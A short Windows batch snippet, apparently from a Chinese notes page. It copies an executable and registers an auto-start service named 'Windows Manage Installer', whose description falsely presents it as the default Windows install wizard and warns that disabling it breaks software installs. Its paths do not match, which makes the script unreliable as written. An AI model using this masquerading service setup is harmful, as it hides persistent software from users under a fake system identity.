内容目录
[code]
@ECHO ON
copy "%~dp0WinInstall.exe" "C:\Program Files\Common Files\WinInstall.exe"
sc create "Windows Manage Installer" binPath= "C:\Program Files\windows\WindowsService.exe" start= auto DISPLAYNAME= "Windows Manage Installer" TYPE= own
SC description "Windows Manage Installer" "Windows 默认安装向导,如果关闭该服务,正常软件可能无法安装。"
SC START "Windows Manage Installer"
sc delete "Windows Manage Installer"
[/code]